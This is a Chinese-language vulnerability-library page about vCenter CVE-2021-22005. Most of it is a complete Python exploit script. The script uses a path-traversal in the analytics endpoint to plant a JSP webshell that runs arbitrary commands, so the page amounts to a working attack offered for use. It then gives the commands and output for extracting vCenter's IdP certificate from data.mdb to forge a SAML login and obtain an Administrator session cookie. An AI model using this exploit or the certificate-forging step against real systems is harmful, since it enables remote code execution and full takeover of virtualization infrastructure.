vCenter CVE-2021-22005–decease-漏洞文库小世界-安全文库-NGC660 安全实验室

vCenter CVE-2021-22005–decease

vCenter CVE-2021-22005

提取 IdP 证书并破坏 vCenter

使用 root 或管理权限,可以从位于 data.mdb 文件中的目录服务信息中提取 IdP 证书。这些证书以明文形式存储,可用于为任何用户(包括内置管理员)签署任何 SAML 身份验证请求。

m_a799d3e2082bbb72a20feaff1e480bc1_r

访问https:///ui访问 VCSA 实例,在 /ui 路径下添加 cookie,然后重新浏览到https:///ui。

现在将以管理员用户身份登录并能够访问所有 vCenter 资源。
m_43270d5ef11fe2c7fe4676a3e2c225f1_r

利用脚本

# Adapted from https://gist.github.com/testanull/c2f6fd061c496ea90ddee151d6738d2e

import requests
import random
import string
import sys
import time
import requests
import urllib3
import argparse

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

proxies = None
proxies = {"https": "http://127.0.0.1:8080"}


def id_generator(size=6, chars=string.ascii_lowercase + string.digits):
    return ''.join(random.choice(chars) for _ in range(size))


def escape(_str):
    _str = _str.replace("&", "&")
    _str = _str.replace("<", "&lt;")
    _str = _str.replace(">", "&gt;")
    _str = _str.replace("\"", "&quot;")
    return _str


def str_to_escaped_unicode(arg_str):
    escaped_str = ''
    for s in arg_str:
        val = ord(s)
        esc_uni = "\\u{:04x}".format(val)
        escaped_str += esc_uni
    return escaped_str


def execute_command(url, cmd_param, cmd):
    headers = {"User-Agent": "Mozilla/5.0",
               "Connection": "close",
               "Content-Type": "application/x-www-form-urlencoded"}
    req_data = {cmd_param: cmd.strip()}
    r = requests.post(url, headers=headers, data=req_data, verify=False, proxies=proxies)

    if r.status_code != 200:
        print("[-] Error: Endpoint may not exist. Aborting")
        return None

    ct = r.content.decode()
    ct = ct.split('<pre>')[1].split('</pre>')[0]
    return ct


def createAgent(target, agent_name, log_param):
    url = "%s/analytics/ceip/sdk/..;/..;/..;/analytics/ph/api/dataapp/agent?_c=%s&_i=%s" % (
    target, agent_name, log_param)
    headers = {"Cache-Control": "max-age=0",
               "Upgrade-Insecure-Requests": "1",
               "User-Agent": "Mozilla/5.0",
               "X-Deployment-Secret": "abc",
               "Content-Type": "application/json",
               "Connection": "close"}

    json_data = {"manifestSpec": {},
                 "objectType": "a2",
                 "collectionTriggerDataNeeded": True,
                 "deploymentDataNeeded": True,
                 "resultNeeded": True,
                 "signalCollectionCompleted": True,
                 "localManifestPath": "a7",
                 "localPayloadPath": "a8",
                 "localObfuscationMapPath": "a9"}

    requests.post(url, headers=headers, json=json_data, verify=False, proxies=proxies)


def generate_manifest(webshell_location, webshell):
    manifestData = """<manifest recommendedPageSize="500">
       <request>
          <query name="vir:VCenter">
             <constraint>
                <targetType>ServiceInstance</targetType>
             </constraint>
             <propertySpec>
                <propertyNames>content.about.instanceUuid</propertyNames>
                <propertyNames>content.about.osType</propertyNames>
                <propertyNames>content.about.build</propertyNames>
                <propertyNames>content.about.version</propertyNames>
             </propertySpec>
          </query>
       </request>
       <cdfMapping>
          <indepedentResultsMapping>
             <resultSetMappings>
                <entry>
                   <key>vir:VCenter</key>
                   <value>
                      <value xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="resultSetMapping">
                         <resourceItemToJsonLdMapping>
                            <forType>ServiceInstance</forType>
                         <mappingCode><![CDATA[    
                            #set($appender = $GLOBAL-logger.logger.parent.getAppender("LOGFILE"))##
                            #set($orig_log = $appender.getFile())##
                            #set($logger = $GLOBAL-logger.logger.parent)##     
                            $appender.setFile("%s")##     
                            $appender.activateOptions()##  
                            $logger.warn("%s")##   
                            $appender.setFile($orig_log)##     
                            $appender.activateOptions()##]]>
                         </mappingCode>
                         </resourceItemToJsonLdMapping>
                      </value>
                   </value>
                </entry>
             </resultSetMappings>
          </indepedentResultsMapping>
       </cdfMapping>
       <requestSchedules>
          <schedule interval="1h">
             <queries>
                <query>vir:VCenter</query>
             </queries>
          </schedule>
       </requestSchedules>
    </manifest>""" % (webshell_location, webshell)

    return manifestData


if __name__ == '__main__':

    parser = argparse.ArgumentParser()
    parser.add_argument("-t", "--target", help="Target", required=True)
    parser.add_argument('--exploit', dest='exploit', action='store_true')
    parser.add_argument("-e", "--endpoint", help="Webshell Endpoint")
    parser.add_argument("-p", "--parameter", help="Webshell Command Parameter")
    args = parser.parse_args()

    target = args.target
    print("[*] Target: %s" % target)

    if args.exploit:

        # Variables
        webshell_param = id_generator(6)
        log_param = id_generator(6)
        agent_name = id_generator(6)
        shell_name = id_generator(6) + ".jsp"

        # Simple JSP webshell
        webshell = """<%%@ page import="java.util.*,java.io.*"%%><HTML><BODY><FORM METHOD="GET" NAME="myform" ACTION=""><INPUT TYPE="text" NAME="cmd"><INPUT TYPE="submit" VALUE="Send"></FORM><pre><%%if (request.getParameter("%s") !=null){ Process p = Runtime.getRuntime().exec(request.getParameter("%s")); OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while ( disr != null) { out.println(disr); disr = dis.readLine(); }}%%></pre></BODY></HTML>
        """ % (webshell_param, webshell_param)

        webshell_location = "/usr/lib/vmware-sso/vmware-sts/webapps/ROOT/%s" % shell_name
        webshell = str_to_escaped_unicode(webshell)

        # Generate teh manifest
        manifestData = generate_manifest(webshell_location, webshell)

        print("[*] Creating Agent")
        createAgent(target, agent_name, log_param)
        print("[*] Uploading Manifest")

        url = "%s/analytics/ceip/sdk/..;/..;/..;/analytics/ph/api/dataapp/agent?action=collect&_c=%s&_i=%s" % (
        target, agent_name, log_param)
        headers = {"Cache-Control": "max-age=0",
                   "Upgrade-Insecure-Requests": "1",
                   "User-Agent": "Mozilla/5.0",
                   "X-Deployment-Secret": "abc",
                   "Content-Type": "application/json",
                   "Connection": "close"}
        json_data = {"contextData": "a3", "manifestContent": manifestData, "objectId": "a2"}
        requests.post(url, headers=headers, json=json_data, verify=False, proxies=proxies)


    elif args.endpoint and args.parameter:
        shell_name = args.endpoint
        webshell_param = args.parameter
    url = "%s/idm/..;/%s" % (target, shell_name)
    print("[*] Webshell Endpoint: %s" % url)
    print("[*] Webshell Parameter: %s" % webshell_param)

    print("\n[*] Launching webshell (type 'quit' to exit)")
    while True:
        cmd ="ls"
        # if (cmd == "quit" or cmd == "exit"):
        #     sys.exit(-1)
        output = execute_command(url, webshell_param, cmd)
        time.sleep(1)
        if output:
            print(output)
        else:
            break

python2 getshell3.py -t https://192.168.0.0 –exploit

获取到webshell 之后。下载db文件

python3 vcenter_saml_login.py -p data.mdb -t 10.0.100.200

root@kali:~/vcenter# python3 vcenter_saml_login.py -p data.mdb -t 10.0.100.200
[*] Successfully extracted the IdP certificate
[*] Successfully extracted trusted certificate 1
[*] Successfully extracted trusted certificate 2
[*] Obtaining hostname from vCenter SSL certificate
[*] Found hostname vcsa.olympus for 10.0.100.200
[*] Initiating SAML request with 10.0.100.200
[*] Generating SAML assertion
[*] Signing the SAML assertion
[*] Attempting to log into vCenter with the signed SAML request
[+] Successfuly obtained Administrator cookie for 10.0.100.200!
[+] Cookie: VSPHERE-UI-JSESSIONID=06D1630719B4DE33A4CE653458911640

修改cookie 直接登录即可

请登录后发表评论

    请登录后查看回复内容